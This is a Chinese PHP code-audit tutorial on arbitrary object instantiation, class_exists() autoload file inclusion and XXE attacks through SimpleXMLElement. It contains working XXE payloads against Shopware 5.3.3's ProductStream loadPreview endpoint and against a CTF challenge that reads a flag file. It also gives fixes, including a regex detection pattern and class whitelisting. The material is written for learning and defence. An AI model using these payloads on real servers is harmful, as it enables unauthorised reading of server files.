[红日安全]代码审计Day3 - 实例化任意对象漏洞
字数 1582 2025-08-29 08:32:24

PHP代码审计:实例化任意对象漏洞与XXE攻击分析

1. 漏洞概述

本文分析PHP代码中两种常见的安全漏洞:

  1. 通过class_exists()函数导致的文件包含漏洞
  2. 通过用户控制的类实例化导致的任意对象实例化漏洞(可导致XXE攻击)

2. 漏洞解析

2.1 文件包含漏洞(class_exists函数)

漏洞代码特征

class_exists($classname, true);  // 第二个参数为true时会自动调用__autoload

漏洞原理

  • 在PHP 5~5.3版本中,class_exists()函数与__autoload结合使用时,攻击者可以通过路径穿越符号(如../)包含任意文件
  • 例如:类名为..etc/passwd时,会尝试包含并查看passwd文件内容

PHP手册说明

  • bool class_exists ( string $class_name [, bool $autoload = true ] )
  • $autoload为true时,会自动调用__autoload函数

2.2 任意对象实例化漏洞

漏洞代码特征

$className = $_GET['class'];  // 用户可控
$param = $_GET['param'];      // 用户可控
$newclass = new $className($param);

漏洞原理

  • 攻击者可以控制类名和构造参数,实例化PHP内置类如SimpleXMLElement进行XXE攻击
  • 通过构造恶意XML数据,可以读取服务器文件或执行命令(需安装expect扩展)

3. SimpleXMLElement类与XXE攻击

3.1 SimpleXMLElement类简介

  • PHP内置类,用于表示XML文档中的元素
  • 构造函数:SimpleXMLElement::__construct(string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]])

3.2 XXE攻击示例

$xml = '<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>';
new SimpleXMLElement($xml, LIBXML_NOENT);

攻击效果

  • 读取服务器文件内容
  • 如果服务器配置不当,可能实现远程代码执行

4. 实例分析:Shopware 5.3.3 XXE漏洞

4.1 漏洞位置

engine\Shopware\Controllers\Backend\ProductStream.php中的loadPreviewAction方法

4.2 漏洞调用链

  1. 用户传入sort参数
  2. 经过Repository::unserialize()
  3. 调用LogawareReflectionHelper::unserialize()
  4. 最终在ReflectionHelper::createInstanceFromNamedArguments()中实例化对象

4.3 漏洞利用

原始请求

GET /backend/ProductStream/loadPreview?sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}

恶意payload

sort={"SimpleXMLElement":{"data":"<?xml version='1.0'?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM 'file:///C:/flag.txt'>]><x>&xxe;</x>","options":2,"data_is_url":0}}

解释

  • options参数设置为2(即LIBXML_NOENT),允许实体替换
  • 通过XXE读取服务器上的C:/flag.txt文件

5. 修复建议

5.1 针对XXE漏洞

// 方法1:禁用外部实体加载
libxml_disable_entity_loader(true);

// 方法2:过滤XML中的关键词
if(preg_match('/<!ENTITY.*SYSTEM/i', $xml)) {
    die('XXE attack detected');
}

5.2 针对任意对象实例化

  • 白名单验证类名
$allowedClasses = ['SafeClass1', 'SafeClass2'];
if(!in_array($className, $allowedClasses)) {
    die('Invalid class name');
}
  • 限制实例化操作
// 使用反射API前验证类是否允许实例化
$reflectionClass = new ReflectionClass($className);
if(!$reflectionClass->isInstantiable() || $reflectionClass->isInternal()) {
    die('Class not allowed');
}

6. CTF题目分析

6.1 题目代码

// index.php
class NotFound {
    function __construct() { die('404'); }
}

spl_autoload_register(function($class){
    new NotFound();
});

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;

if(class_exists($classname)){
    $newclass = new $classname($param, $param2);
    var_dump($newclass);
    foreach($newclass as $key => $value)
        echo $key.'=>'.$value.'<br>';
}

// f1agi3hEre.php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";

6.2 解题思路

  1. 利用class_exists触发自动加载
  2. 绕过NotFound限制,读取f1agi3hEre.php文件
  3. 使用SimpleXMLElement进行XXE攻击

利用payload

?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=f1agi3hEre.php">]><x>&xxe;</x>&param2=2

解释

  • param2=2设置LIBXML_NOENT选项
  • 通过PHP伪协议和base64编码读取文件内容

7. 总结

  1. class_exists():在旧版PHP中可能导致文件包含,需注意自动加载行为
  2. 任意对象实例化:用户控制的类名和参数可能导致严重漏洞
  3. SimpleXMLElement:内置类可能被滥用进行XXE攻击
  4. 防御措施:输入验证、白名单、禁用危险功能

通过深入理解这些漏洞原理和利用方式,开发者可以更好地保护PHP应用程序安全。

PHP代码审计:实例化任意对象漏洞与XXE攻击分析 1. 漏洞概述 本文分析PHP代码中两种常见的安全漏洞: 通过 class_exists() 函数导致的文件包含漏洞 通过用户控制的类实例化导致的任意对象实例化漏洞(可导致XXE攻击) 2. 漏洞解析 2.1 文件包含漏洞(class_ exists函数) 漏洞代码特征 : 漏洞原理 : 在PHP 5~5.3版本中, class_exists() 函数与 __autoload 结合使用时,攻击者可以通过路径穿越符号(如 ../ )包含任意文件 例如:类名为 ..etc/passwd 时,会尝试包含并查看passwd文件内容 PHP手册说明 : bool class_exists ( string $class_name [, bool $autoload = true ] ) 当 $autoload 为true时,会自动调用 __autoload 函数 2.2 任意对象实例化漏洞 漏洞代码特征 : 漏洞原理 : 攻击者可以控制类名和构造参数,实例化PHP内置类如 SimpleXMLElement 进行XXE攻击 通过构造恶意XML数据,可以读取服务器文件或执行命令(需安装expect扩展) 3. SimpleXMLElement类与XXE攻击 3.1 SimpleXMLElement类简介 PHP内置类,用于表示XML文档中的元素 构造函数: SimpleXMLElement::__construct(string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]]) 3.2 XXE攻击示例 攻击效果 : 读取服务器文件内容 如果服务器配置不当,可能实现远程代码执行 4. 实例分析:Shopware 5.3.3 XXE漏洞 4.1 漏洞位置 engine\Shopware\Controllers\Backend\ProductStream.php 中的 loadPreviewAction 方法 4.2 漏洞调用链 用户传入 sort 参数 经过 Repository::unserialize() 调用 LogawareReflectionHelper::unserialize() 最终在 ReflectionHelper::createInstanceFromNamedArguments() 中实例化对象 4.3 漏洞利用 原始请求 : 恶意payload : 解释 : options 参数设置为2(即 LIBXML_NOENT ),允许实体替换 通过XXE读取服务器上的 C:/flag.txt 文件 5. 修复建议 5.1 针对XXE漏洞 5.2 针对任意对象实例化 白名单验证类名 限制实例化操作 6. CTF题目分析 6.1 题目代码 6.2 解题思路 利用 class_exists 触发自动加载 绕过 NotFound 限制,读取 f1agi3hEre.php 文件 使用 SimpleXMLElement 进行XXE攻击 利用payload : 解释 : param2=2 设置 LIBXML_NOENT 选项 通过PHP伪协议和base64编码读取文件内容 7. 总结 class_exists() :在旧版PHP中可能导致文件包含,需注意自动加载行为 任意对象实例化 :用户控制的类名和参数可能导致严重漏洞 SimpleXMLElement :内置类可能被滥用进行XXE攻击 防御措施 :输入验证、白名单、禁用危险功能 通过深入理解这些漏洞原理和利用方式,开发者可以更好地保护PHP应用程序安全。